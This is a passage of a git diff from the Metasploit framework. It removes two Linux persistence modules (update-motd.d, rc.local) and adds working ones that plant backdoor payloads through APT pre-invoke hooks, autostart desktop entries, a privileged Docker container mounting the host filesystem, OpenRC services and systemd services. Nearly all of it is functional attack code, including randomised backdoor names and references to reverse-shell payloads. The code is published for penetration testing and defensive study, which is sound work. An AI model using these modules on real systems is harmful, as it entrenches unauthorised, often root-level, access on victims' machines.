if cron_auth =~ /^ALL$/ || cron_auth =~ /^#{Regexp.escape(user)}$/
|
||||
vprint_good("User located in #{path}cron.allow")
|
||||
return true
|
||||
end
|
||||
end
|
||||
cron_auths = read_file("#{path}cron.deny")
|
||||
if cron_auths && cron_auth =~ /^#{Regexp.escape(user)}$/
|
||||
vprint_error("User located in #{path}cron.deny")
|
||||
return false
|
||||
end
|
||||
end
|
||||
# no guidance, so we should be fine
|
||||
true
|
||||
end
|
||||
end
|
||||
@@ -1,63 +0,0 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Local
|
||||
|
||||
include Msf::Post::File
|
||||
include Msf::Post::Unix
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'update-motd.d Persistence',
|
||||
'Description' => %q{
|
||||
This module will add a script in /etc/update-motd.d/ in order to persist a payload.
|
||||
The payload will be executed with root privileges everytime a user logs in.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [ 'Julien Voisin' ],
|
||||
'Platform' => [ 'unix', 'linux' ],
|
||||
'Arch' => ARCH_CMD,
|
||||
'SessionTypes' => [ 'shell', 'meterpreter' ],
|
||||
'DefaultOptions' => { 'WfsDelay' => 0, 'DisablePayloadHandler' => true },
|
||||
'Targets' => [ ['Automatic', {}] ],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => '1999-01-01',
|
||||
'Notes' => {
|
||||
'Stability' => [],
|
||||
'Reliability' => [EVENT_DEPENDENT],
|
||||
'SideEffects' => [ARTIFACTS_ON_DISK]
|
||||
},
|
||||
'References' => [
|
||||
['URL', 'https://manpages.ubuntu.com/manpages/oracular/en/man5/update-motd.5.html'],
|
||||
]
|
||||
)
|
||||
)
|
||||
register_options([ OptString.new('BACKDOOR_NAME', [true, 'The filename of the backdoor', '99-check-updates']) ])
|
||||
end
|
||||
|
||||
def exploit
|
||||
update_path = '/etc/update-motd.d/'
|
||||
|
||||
unless exists? update_path
|
||||
fail_with Failure::BadConfig, "#{update_path} doesn't exist"
|
||||
end
|
||||
|
||||
unless writable? update_path
|
||||
fail_with Failure::BadConfig, "#{update_path} is not writable"
|
||||
end
|
||||
|
||||
backdoor_path = File.join(update_path, datastore['BACKDOOR_NAME'])
|
||||
|
||||
if exists? backdoor_path
|
||||
fail_with Failure::BadConfig, "#{backdoor_path} is already present"
|
||||
end
|
||||
|
||||
write_file(backdoor_path, "#!/bin/sh\n#{payload.encoded}")
|
||||
chmod(backdoor_path, 0o755)
|
||||
print_status "#{backdoor_path} written"
|
||||
end
|
||||
end
|
||||
@@ -1,65 +0,0 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Local
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Post::File
|
||||
include Msf::Post::Unix
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'rc.local Persistence',
|
||||
'Description' => %q{
|
||||
This module will edit /etc/rc.local in order to persist a payload.
|
||||
The payload will be executed on the next reboot.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [ 'Eliott Teissonniere' ],
|
||||
'Platform' => [ 'unix', 'linux' ],
|
||||
'Arch' => ARCH_CMD,
|
||||
'Payload' => {
|
||||
'BadChars' => "#%\n",
|
||||
'Compat' => {
|
||||
'PayloadType' => 'cmd',
|
||||
'RequiredCmd' => 'generic python ruby netcat perl'
|
||||
}
|
||||
},
|
||||
'SessionTypes' => [ 'shell', 'meterpreter' ],
|
||||
'DefaultOptions' => { 'WfsDelay' => 0, 'DisablePayloadHandler' => true },
|
||||
'DisclosureDate' => '1980-10-01', # The rc command appeared in 4.0BSD.
|
||||
'Targets' => [ ['Automatic', {}] ],
|
||||
'DefaultTarget' => 0,
|
||||
'Notes' => {
|
||||
'Reliability' => UNKNOWN_RELIABILITY,
|
||||
'Stability' => UNKNOWN_STABILITY,
|
||||
'SideEffects' => UNKNOWN_SIDE_EFFECTS
|
||||
}
|
||||
)
|
||||
)
|
||||
end
|
||||
|
||||
def exploit
|
||||
rc_path = '/etc/rc.local'
|
||||
|
||||
unless writable? rc_path
|
||||
fail_with Failure::BadConfig, "#{rc_path} is not writable"
|
||||
end
|
||||
|
||||
print_status "Reading #{rc_path}"
|
||||
|
||||
# read /etc/rc.local, but remove `exit 0`
|
||||
rc_local = read_file(rc_path).gsub(/^exit.*$/, '')
|
||||
|
||||
# add payload and put back `exit 0`
|
||||
rc_local << "\n#{payload.encoded}\nexit 0\n"
|
||||
|
||||
# write new file
|
||||
print_status "Patching #{rc_path}"
|
||||
write_file(rc_path, rc_local)
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,110 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Local
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::EXE
|
||||
include Msf::Exploit::FileDropper
|
||||
include Msf::Post::File
|
||||
include Msf::Post::Linux::System
|
||||
include Msf::Exploit::Local::Persistence
|
||||
prepend Msf::Exploit::Remote::AutoCheck
|
||||
include Msf::Exploit::Deprecated
|
||||
moved_from 'exploits/linux/local/apt_package_manager_persistence'
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'APT Package Manager Persistence',
|
||||
'Description' => %q{
|
||||
This module will run a payload when the APT package manager is used.
|
||||
This module creates a pre-invoke hook for APT in apt.conf.d. Write access
|
||||
to the apt.conf.d directory is required, typically requiring root access.
|
||||
The hook name is randomized if not specified.
|
||||
Verified on Ubuntu 22.04
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => ['Aaron Ringo'],
|
||||
'Platform' => ['linux', 'unix'],
|
||||
'Arch' => [
|
||||
ARCH_CMD,
|
||||
ARCH_X86,
|
||||
ARCH_X64,
|
||||
ARCH_ARMLE,
|
||||
ARCH_AARCH64,
|
||||
ARCH_PPC,
|
||||
ARCH_MIPSLE,
|
||||
ARCH_MIPSBE
|
||||
],
|
||||
'SessionTypes' => ['shell', 'meterpreter'],
|
||||
'DisclosureDate' => '1999-03-09', # Date APT package manager was included in Debian
|
||||
'References' => ['URL', 'https://unix.stackexchange.com/questions/204414/how-to-run-a-command-before-download-with-apt-get'],
|
||||
'Targets' => [['Automatic', {}]],
|
||||
'Privileged' => true,
|
||||
'DefaultTarget' => 0,
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
|
||||
'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]
|
||||
}
|
||||
)
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('HOOKNAME', [false, 'Name of hook file to write']),
|
||||
OptString.new('PAYLOAD_NAME', [false, 'Name of binary to write']),
|
||||
OptString.new('HOOKPATH', [true, 'The directory where the apt configurations are located', '/etc/apt/apt.conf.d/'])
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def check
|
||||
return CheckCode::Safe('apt-get not found, likely not an apt based system') unless command_exists?('apt-get')
|
||||
return CheckCode::Safe("#{datastore['HOOKPATH']} not found") unless exists?(datastore['HOOKPATH'])
|
||||
return CheckCode::Safe("#{datastore['HOOKPATH']} not writable") unless writable?(datastore['HOOKPATH'])
|
||||
|
||||
print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if writable_dir.start_with?('/tmp')
|
||||
return CheckCode::Safe("#{writable_dir} not found") unless exists?(writable_dir)
|
||||
return CheckCode::Safe("#{writable_dir} not writable") unless writable?(writable_dir)
|
||||
|
||||
CheckCode::Appears("#{datastore['HOOKPATH']} and #{writable_dir} are writable, also found apt-get.")
|
||||
end
|
||||
|
||||
def install_persistence
|
||||
fail_with Failure::BadConfig, "#{datastore['HOOKPATH']} not writable, or APT is not on system" unless writable?(datastore['HOOKPATH'])
|
||||
hook_path = datastore['HOOKPATH']
|
||||
hook_path << (datastore['HOOKNAME'] || "#{rand_text_numeric(2)}#{rand_text_alpha(5..8)}")
|
||||
|
||||
if payload.arch.first == 'cmd'
|
||||
hook_script = %(APT::Update::Pre-Invoke {"setsid #{payload.encoded} 2>/dev/null &"};)
|
||||
else
|
||||
payload_path = writable_dir
|
||||
payload_path = payload_path.end_with?('/') ? payload_path : "#{payload_path}/"
|
||||
payload_name = datastore['PAYLOAD_NAME'] || rand_text_alphanumeric(5..10)
|
||||
payload_path << payload_name
|
||||
write_file(payload_path, generate_payload_exe)
|
||||
fail_with Failure::Unknown, "Failed to write #{payload_path}" unless exist?(payload_path)
|
||||
print_status("Backdoor uploaded #{payload_path}")
|
||||
# permissions chosen to reflect common perms in /usr/local/bin/
|
||||
chmod(payload_path, 0o755)
|
||||
|
||||
print_status('Attempting to write hook')
|
||||
hook_script = %(APT::Update::Pre-Invoke {"setsid #{payload_path} 2>/dev/null &"};)
|
||||
@clean_up_rc << "rm #{payload_path}\n"
|
||||
end
|
||||
write_file(datastore['HOOKPATH'], hook_script)
|
||||
|
||||
fail_with Failure::Unknown, 'Failed to write Hook' unless exist?(datastore['HOOKPATH'])
|
||||
|
||||
print_status("Wrote #{datastore['HOOKPATH']}")
|
||||
|
||||
print_good('Backdoor will run on next APT update')
|
||||
|
||||
@clean_up_rc << "rm #{datastore['HOOKPATH']}\n"
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,130 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Local
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Post::File
|
||||
include Msf::Post::Unix
|
||||
include Msf::Exploit::EXE # for generate_payload_exe
|
||||
include Msf::Exploit::FileDropper
|
||||
include Msf::Post::Linux::User
|
||||
include Msf::Exploit::Local::Persistence
|
||||
prepend Msf::Exploit::Remote::AutoCheck
|
||||
include Msf::Exploit::Deprecated
|
||||
moved_from 'exploits/linux/local/autostart_persistence'
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Autostart Desktop Item Persistence',
|
||||
'Description' => %q{
|
||||
This module will create an autostart .desktop entry to execute a payload.
|
||||
The payload will be executed when the users logs in.
|
||||
Verified on Ubuntu 22.04 desktop with Gnome, and 18.04.3.
|
||||
The following payloads were used in testing:
|
||||
- cmd/unix/reverse_netcat
|
||||
- linux/x64/meterpreter/reverse_tcp
|
||||
- cmd/linux/http/x64/meterpreter/reverse_tcp
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [ 'Eliott Teissonniere' ],
|
||||
'Platform' => [ 'unix', 'linux' ],
|
||||
'Arch' => [
|
||||
ARCH_CMD,
|
||||
ARCH_X86,
|
||||
ARCH_X64,
|
||||
ARCH_ARMLE,
|
||||
ARCH_AARCH64,
|
||||
ARCH_PPC,
|
||||
ARCH_MIPSLE,
|
||||
ARCH_MIPSBE
|
||||
],
|
||||
'Payload' => {
|
||||
'BadChars' => '#%\n"'
|
||||
},
|
||||
'SessionTypes' => [ 'shell', 'meterpreter' ],
|
||||
'DisclosureDate' => '2006-02-13', # Date of the 0.5 doc for autostart
|
||||
'Targets' => [['Automatic', {}]],
|
||||
'DefaultTarget' => 0,
|
||||
'References' => [
|
||||
['ATT&CK', Mitre::Attack::Technique::T1547_013_XDG_AUTOSTART_ENTRIES],
|
||||
['URL', 'https://specifications.freedesktop.org/autostart-spec/latest/'],
|
||||
],
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
|
||||
'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]
|
||||
}
|
||||
)
|
||||
)
|
||||
|
||||
register_options([
|
||||
OptString.new('BACKDOOR_NAME', [false, 'Name of autostart entry' ]),
|
||||
OptString.new('PAYLOAD_NAME', [false, 'Name of the payload file to write']),
|
||||
OptString.new('USER', [ false, 'User to target, or current user if blank', '' ]),
|
||||
])
|
||||
end
|
||||
|
||||
def check
|
||||
print_warning('Payloads in /tmp will only last until reboot, you may want to choose elsewhere.') if writable_dir.start_with?('/tmp')
|
||||
# https://unix.stackexchange.com/a/237750
|
||||
return CheckCode::Safe('Xorg is not installed, likely a server install. Autostart requires a graphical environment') unless command_exists?('Xorg')
|
||||
|
||||
CheckCode::Detected('Xorg is installed, possible desktop install.')
|
||||
end
|
||||
|
||||
def target_user
|
||||
return datastore['USER'] unless datastore['USER'].blank?
|
||||
|
||||
whoami
|
||||
end
|
||||
|
||||
def install_persistence
|
||||
print_warning('Payloads in /tmp will only last until reboot, you may want to choose elsewhere.') if writable_dir.start_with?('/tmp') && payload.arch.first != 'cmd'
|
||||
user = target_user
|
||||
home = get_home_dir(user)
|
||||
vprint_status('Making sure the autostart directory exists')
|
||||
cmd_exec("mkdir -p #{home}/.config/autostart") # in case no autostart exists
|
||||
|
||||
name = datastore['BACKDOOR_NAME'] || Rex::Text.rand_text_alpha(5..8)
|
||||
path = "#{home}/.config/autostart/#{name}.desktop"
|
||||
|
||||
print_status("Uploading autostart file #{path}")
|
||||
|
||||
autostart_stub = [
|
||||
'[Desktop Entry]',
|
||||
'Type=Application',
|
||||
"Name=#{name}",
|
||||
'NoDisplay=true',
|
||||
'Terminal=false'
|
||||
]
|
||||
|
||||
if payload.arch.first == 'cmd'
|
||||
write_file(path, (autostart_stub + ["Exec=/bin/sh -c \"#{payload.encoded}\""]).join("\n"))
|
||||
else
|
||||
payload_path = writable_dir
|
||||
payload_path = payload_path.end_with?('/') ? payload_path : "#{payload_path}/"
|
||||
payload_name = datastore['PAYLOAD_NAME'] || rand_text_alphanumeric(5..10)
|
||||
payload_path << payload_name
|
||||
print_status("Uploading payload file to #{payload_path}")
|
||||
upload_and_chmodx payload_path, generate_payload_exe
|
||||
write_file(path, (autostart_stub + ["Exec=\"#{payload_path}\""]).join("\n"))
|
||||
@clean_up_rc << "rm #{payload_path}\n"
|
||||
end
|
||||
|
||||
if whoami != user
|
||||
cmd_exec("chown #{user}:#{user} #{path}")
|
||||
unless payload.arch.first == 'cmd'
|
||||
cmd_exec("chown #{user}:#{user} #{payload_path}")
|
||||
end
|
||||
end
|
||||
|
||||
print_good("Backdoor will run on next login by #{user}")
|
||||
|
||||
@clean_up_rc << "rm #{path}\n"
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,158 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Local
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Post::File
|
||||
include Msf::Post::Unix
|
||||
include Msf::Exploit::EXE # for generate_payload_exe
|
||||
include Msf::Exploit::FileDropper
|
||||
include Msf::Exploit::Local::Persistence
|
||||
prepend Msf::Exploit::Remote::AutoCheck
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Docker Image Persistence',
|
||||
'Description' => %q{
|
||||
This module maintains persistence on a host by creating a docker image which runs our
|
||||
payload, and has access to the host's file system (/host in the container). Whenever the
|
||||
container restarts, the payload will run, or when the payload dies the executable
|
||||
will run again after a delay. This will allow for writing back
|
||||
into the host through cron entries, ssh keys, or other method.
|
||||
|
||||
Verified on Ubuntu 22.04.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
'h00die',
|
||||
],
|
||||
'Platform' => [ 'linux' ],
|
||||
'Arch' => [
|
||||
# ARCH_CMD, can't always guarantee that curl and other things are on system, so binary is best
|
||||
ARCH_X86,
|
||||
ARCH_X64,
|
||||
ARCH_ARMLE,
|
||||
ARCH_AARCH64,
|
||||
ARCH_PPC,
|
||||
ARCH_MIPSLE,
|
||||
ARCH_MIPSBE
|
||||
],
|
||||
'SessionTypes' => [ 'meterpreter' ],
|
||||
'Targets' => [[ 'Auto', {} ]],
|
||||
'References' => [
|
||||
['ATT&CK', Mitre::Attack::Technique::T1610_DEPLOY_CONTAINER],
|
||||
],
|
||||
'DisclosureDate' => '2013-03-20', # docker's release date
|
||||
'DefaultTarget' => 0,
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'Reliability' => [REPEATABLE_SESSION],
|
||||
'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES, IOC_IN_LOGS]
|
||||
}
|
||||
)
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptInt.new('SLEEP', [false, 'How many seconds to sleep before re-executing payload', 600]),
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def check
|
||||
# we don't need this check since the payload is in the docker image
|
||||
# print_warning('Payloads in /tmp will only last until reboot, you may want to choose elsewhere.') if writable_dir.start_with?('/tmp')
|
||||
return CheckCode::Safe("#{writable_dir} doesnt exist") unless exists?(writable_dir)
|
||||
return CheckCode::Safe("#{writable_dir} isnt writable") unless writable?(writable_dir)
|
||||
return CheckCode::Safe('docker is required') unless command_exists?('docker')
|
||||
|
||||
vprint_status('Checking Docker availability and permissions...')
|
||||
|
||||
output = cmd_exec('docker ps 2>&1')
|
||||
|
||||
if output.include?('permission denied')
|
||||
return CheckCode::Safe('Docker is installed but this user does not have permission to access it')
|
||||
elsif output.include?('Cannot connect to the Docker daemon') || output.include?('Is the docker daemon running?')
|
||||
return CheckCode::Detected('Docker appears to be installed but the daemon is not running')
|
||||
end
|
||||
|
||||
CheckCode::Detected('docker app is installed and accessible')
|
||||
end
|
||||
|
||||
def install_persistence
|
||||
# Step 1: Prepare payload
|
||||
file_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(5..10)
|
||||
backdoor = "#{writable_dir}/#{file_name}"
|
||||
vprint_status("Writing backdoor to #{backdoor}")
|
||||
upload_and_chmodx(backdoor, generate_payload_exe)
|
||||
|
||||
# Step 2: Prepare entrypoint script (loops indefinitely)
|
||||
sleep_time = datastore['SLEEP']
|
||||
entry_script = <<~SCRIPT
|
||||
#!/bin/sh
|
||||
while true; do
|
||||
if [ -x /usr/local/bin/#{file_name} ]; then
|
||||
# Check if it's already running
|
||||
if ! pgrep -f "/usr/local/bin/#{file_name}" >/dev/null 2>&1; then
|
||||
/usr/local/bin/#{file_name} &
|
||||
fi
|
||||
fi
|
||||
sleep #{sleep_time}
|
||||
done
|
||||
SCRIPT
|
||||
|
||||
entry_file = "#{writable_dir}/entrypoint.sh"
|
||||
unless write_file(entry_file, entry_script)
|
||||
fail_with(Failure::UnexpectedReply, "Unable to write #{entry_file}")
|
||||
end
|
||||
chmod(entry_file, 0o755)
|
||||
|
||||
# Step 3: Pull Alpine image
|
||||
cmd_exec('docker pull alpine')
|
||||
|
||||
# Step 4: Create a temporary container (stopped) to copy files in
|
||||
tmp_container = cmd_exec('docker run -dit alpine sh').strip
|
||||
vprint_status("Temporary container created: #{tmp_container}")
|
||||
|
||||
# Copy payload and entrypoint into container
|
||||
cmd_exec("docker cp #{backdoor} #{tmp_container}:/usr/local/bin/#{file_name}")
|
||||
cmd_exec("docker cp #{entry_file} #{tmp_container}:/")
|
||||
|
||||
cmd_exec("docker exec #{tmp_container} chmod +x /usr/local/bin/#{file_name}")
|
||||
cmd_exec("docker exec #{tmp_container} chmod +x /entrypoint.sh")
|
||||
|
||||
# Commit a new persistent image
|
||||
persistent_image = "alpine_#{Rex::Text.rand_text_alpha_lower(5..8)}"
|
||||
cmd_exec("docker commit #{tmp_container} #{persistent_image}")
|
||||
print_good("Persistent image created: #{persistent_image}")
|
||||
|
||||
# Remove temporary container
|
||||
cmd_exec("docker rm #{tmp_container}")
|
||||
|
||||
# Step 5: Start container with internal entrypoint
|
||||
container_id = cmd_exec("docker run -dit --privileged -v /:/host --restart=always #{persistent_image} /entrypoint.sh").strip
|
||||
print_good("Container started with internal entrypoint: #{container_id}")
|
||||
|
||||
# Step 6: Add cleanup commands for RC
|
||||
@clean_up_rc << "execute -f /bin/sh -a \"-c 'docker stop #{container_id}'\" -i -H"
|
||||
@clean_up_rc << "execute -f /bin/sh -a \"-c 'docker rm #{container_id}'\" -i -H"
|
||||
@clean_up_rc << "execute -f /bin/sh -a \"-c 'docker rmi #{persistent_image}'\" -i -H"
|
||||
|
||||
# Step 7: Clean up host temp files
|
||||
rm_f(backdoor)
|
||||
rm_f(entry_file)
|
||||
|
||||
# Step 8: Stop tmp image
|
||||
print_status('Stopping and removing temp container')
|
||||
cmd_exec("docker stop #{tmp_container}")
|
||||
cmd_exec("docker rm #{tmp_container}")
|
||||
|
||||
print_status("Payload installed and running with #{sleep_time}-second loop in container")
|
||||
end
|
||||
|
||||
end
|
||||
@@ -0,0 +1,157 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Local
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Post::File
|
||||
include Msf::Post::Unix
|
||||
include Msf::Exploit::FileDropper
|
||||
include Msf::Exploit::EXE # for generate_payload_exe
|
||||
include Msf::Exploit::Local::Persistence
|
||||
prepend Msf::Exploit::Remote::AutoCheck
|
||||
include Msf::Exploit::Deprecated
|
||||
moved_from 'exploits/linux/local/service_persistence'
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Init OpenRC Persistence',
|
||||
'Description' => %q{
|
||||
This module will create a service on the box via OpenRC, and mark it for auto-restart.
|
||||
We need enough access to write service files and potentially restart services.
|
||||
Verified against alpine 3.21.2
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
'h00die',
|
||||
],
|
||||
'Platform' => ['unix', 'linux'],
|
||||
'Targets' => [
|
||||
['Automatic', {}]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'Arch' => [
|
||||
ARCH_CMD,
|
||||
ARCH_X86,
|
||||
ARCH_X64,
|
||||
ARCH_ARMLE,
|
||||
ARCH_AARCH64,
|
||||
ARCH_PPC,
|
||||
ARCH_MIPSLE,
|
||||
ARCH_MIPSBE
|
||||
],
|
||||
'References' => [
|
||||
['URL', 'https://www.digitalocean.com/community/tutorials/how-to-configure-a-linux-service-to-start-automatically-after-a-crash-or-reboot-part-1-practical-examples'],
|
||||
['ATT&CK', Mitre::Attack::Technique::T1543_CREATE_OR_MODIFY_SYSTEM_PROCESS],
|
||||
['URL', 'https://wiki.alpinelinux.org/wiki/Writing_Init_Scripts'],
|
||||
['URL', 'https://wiki.alpinelinux.org/wiki/OpenRC'],
|
||||
['URL', 'https://github.com/OpenRC/openrc/blob/master/service-script-guide.md'],
|
||||
],
|
||||
'SessionTypes' => ['shell', 'meterpreter'],
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
|
||||
'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]
|
||||
},
|
||||
'DisclosureDate' => '2007-04-05' # openrc release date
|
||||
)
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('SERVICE', [false, 'Name of service to create']),
|
||||
OptString.new('PAYLOAD_NAME', [false, 'Name of the payload file to write']),
|
||||
]
|
||||
)
|
||||
register_advanced_options(
|
||||
[
|
||||
OptBool.new('EnableService', [true, 'Enable the service', true])
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def check
|
||||
print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if writable_dir.start_with?('/tmp')
|
||||
return CheckCode::Safe("#{writable_dir} doesnt exist") unless exists?(writable_dir)
|
||||
return CheckCode::Safe("#{writable_dir} isnt writable") unless writable?(writable_dir)
|
||||
return CheckCode::Safe('/etc/init.d/ doesnt exist') unless exists?('/etc/init.d/')
|
||||
return CheckCode::Safe('/etc/init.d/ isnt writable') unless writable?('/etc/init.d/')
|
||||
|
||||
return CheckCode::Safe('Likely not an openrc based system') unless command_exists?('openrc')
|
||||
|
||||
CheckCode::Appears("#{writable_dir} is writable and system is openrc based")
|
||||
end
|
||||
|
||||
def install_persistence
|
||||
print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if writable_dir.start_with?('/tmp')
|
||||
backdoor = write_shell(writable_dir)
|
||||
|
||||
path = backdoor.split('/')[0...-1].join('/')
|
||||
file = backdoor.split('/')[-1]
|
||||
|
||||
openrc(path, file)
|
||||
end
|
||||
|
||||
def write_shell(path)
|
||||
file_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(5..10)
|
||||
backdoor = "#{path}/#{file_name}"
|
||||
vprint_status("Writing backdoor to #{backdoor}")
|
||||
|
||||
if payload.arch.first == 'cmd'
|
||||
write_file(backdoor, payload.encoded)
|
||||
chmod(backdoor, 0o755)
|
||||
else
|
||||
upload_and_chmodx(backdoor, generate_payload_exe)
|
||||
end
|
||||
|
||||
@clean_up_rc << "rm #{backdoor}\n"
|
||||
|
||||
fail_with(Failure::NoAccess, 'File not written, check permissions.') unless file_exist?(backdoor)
|
||||
backdoor
|
||||
end
|
||||
|
||||
def openrc(backdoor_path, backdoor_file)
|
||||
if payload.arch.first == 'cmd'
|
||||
script = %(#!/sbin/openrc-run
|
||||
name=#{backdoor_file}
|
||||
command=/bin/sh
|
||||
command_args="#{backdoor_path}/#{backdoor_file}"
|
||||
pidfile="/run/${RC_SVCNAME}.pid"
|
||||
command_background="yes"
|
||||
)
|
||||
else
|
||||
script = %(#!/sbin/openrc-run
|
||||
name=#{backdoor_file}
|
||||
command="#{backdoor_path}/#{backdoor_file}"
|
||||
command_args=""
|
||||
pidfile="/run/${RC_SVCNAME}.pid"
|
||||
command_background="yes"
|
||||
)
|
||||
end
|
||||
|
||||
service_filename = datastore['SERVICE'] || Rex::Text.rand_text_alpha(7..12)
|
||||
service_path = "/etc/init.d/#{service_filename}"
|
||||
vprint_status("Writing service: #{service_path}")
|
||||
begin
|
||||
upload_and_chmodx(service_path, script)
|
||||
@clean_up_rc << "rm #{service_path}\n"
|
||||
rescue Rex::Post::Meterpreter::RequestError
|
||||
print_error("Writing '#{service_path}' to the target and or changing the file permissions failed")
|
||||
end
|
||||
|
||||
fail_with(Failure::NoAccess, 'Service file not written, check permissions.') unless file_exist?(service_path)
|
||||
|
||||
if datastore['EnableService']
|
||||
vprint_status('Enabling service')
|
||||
cmd_exec("rc-update add '#{service_filename}'")
|
||||
@clean_up_rc << "execute -f sh -a \"-c 'rc-update del #{service_filename}'\""
|
||||
end
|
||||
|
||||
print_good('Starting service')
|
||||
cmd_exec("'#{service_path}' start")
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,218 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Local
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Post::File
|
||||
include Msf::Post::Unix
|
||||
include Msf::Exploit::FileDropper
|
||||
include Msf::Exploit::EXE # for generate_payload_exe
|
||||
include Msf::Post::Linux::User # get_home_dir
|
||||
include Msf::Exploit::Local::Persistence
|
||||
prepend Msf::Exploit::Remote::AutoCheck
|
||||
include Msf::Exploit::Deprecated
|
||||
moved_from 'exploits/linux/local/service_persistence'
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Service SystemD Persistence',
|
||||
'Description' => %q{
|
||||
This module will create a service on the box, and mark it for auto-restart.
|
||||
We need enough access to write service files and potentially restart services
|
||||
Targets:
|
||||
CentOS 7
|
||||
Debian >= 7, <=8
|
||||
Fedora >= 15
|
||||
Ubuntu >= 15.04
|
||||
Verified on Ubuntu 18.04.3
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
'h00die <mike@shorebreaksecurity.com>',
|
||||
'Cale Black' # user target
|
||||
],
|
||||
'Platform' => ['unix', 'linux'],
|
||||
'Privileged' => true,
|
||||
'Targets' => [
|
||||
['systemd', {}],
|
||||
['systemd user', {}]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'Arch' => [
|
||||
ARCH_CMD,
|
||||
ARCH_X86,
|
||||
ARCH_X64,
|
||||
ARCH_ARMLE,
|
||||
ARCH_AARCH64,
|
||||
ARCH_PPC,
|
||||
ARCH_MIPSLE,
|
||||
ARCH_MIPSBE
|
||||
],
|
||||
'References' => [
|
||||
['URL', 'https://www.digitalocean.com/community/tutorials/how-to-configure-a-linux-service-to-start-automatically-after-a-crash-or-reboot-part-1-practical-examples'],
|
||||
['URL', 'https://coreos.com/docs/launching-containers/launching/getting-started-with-systemd/'],
|
||||
['ATT&CK', Mitre::Attack::Technique::T1543_002_SYSTEMD_SERVICE]
|
||||
],
|
||||
'SessionTypes' => ['shell', 'meterpreter'],
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
|
||||
